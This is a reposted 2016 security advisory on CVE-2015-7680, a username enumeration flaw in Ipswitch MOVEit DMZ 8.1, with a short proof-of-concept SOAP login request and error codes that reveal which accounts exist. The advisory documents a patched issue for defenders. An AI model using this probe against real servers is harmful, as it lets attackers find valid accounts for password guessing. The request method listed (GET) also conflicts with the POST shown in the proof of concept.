Ipswitch MOVEit DMZ 8.1 Information Disclosure
Posted on 29 January 2016
Profundis Labs - Security Advisory Vulnerablity Title ================== Enumeration of existing usernames Vendor: ======= Ipswitch, Inc (http://www.ipswitchft.com) Product: ======== MOVEit File Transfer MOVEit is an automated file transfer system that lets you manage, view, secure, and control all business-critical file transfer activity through a single, secure system. (Source: http://www.ipswitchft.com/moveit-managed-file-transfer) Affected Versions: ================== MOVEit DMZ v8.1 and below Vulnerability Type: =================== Information disclosure CVE Reference: ============== CVE-2015-7680 VENDOR Reference: ================= http://docs.ipswitch.com/MOVEit/DMZ82/ReleaseNotes/MOVEitReleaseNotes82.pdf Vendor Reference Number: MIDMZ-6571 Vulnerability Details: ====================== An unauthenticated user can check if a user name exists by using the controller: machine.aspx By performing a login via XML/Soap the different return codes can be evaluated to check wheather a user exists or not: ErrorCode 2050 -> Username does not exist ErrorCode 2025 -> Username exists but password is wrong or user is locked ErrorCode 0 -> Username exists and right password was provided PoC code(s): ============ POST /machine.aspx HTTP/1.1 ... <?xml version='1.0' encoding="iso-8859-1" ?> <siLockRequest> <transaction>signon</transaction> <username>USERNAME</username> <password>xxxxxxxx</password> <agentbrand>xxxx</agentbrand> <agentversion>8.1.0.0</agentversion> <ipaddress>x.x.x.x</ipaddress> </siLockRequest> Disclosure Timeline: ==================== Vendor Notification: 09/23/2015 Vendor Confirmation: 09/24/2015 Vendor Patch Release: 10/20/2015 Public Disclosure: 01/27/2016 Severity Level: =============== 7.1 (High) CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L Description: ============ Request Method(s): [+] HTTP GET Vulnerable Product: [+] MOVEit DMZ v8.1 and below Authentication (Role): [+] Anonymous =========================================================== [+] Author: Philipp Rocholl [+] Website: https://www.profundis-labs.com [+] Source: https://profundis-labs.com/advisories/CVE-2015-7680.txt [+] Disclaimer Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information.
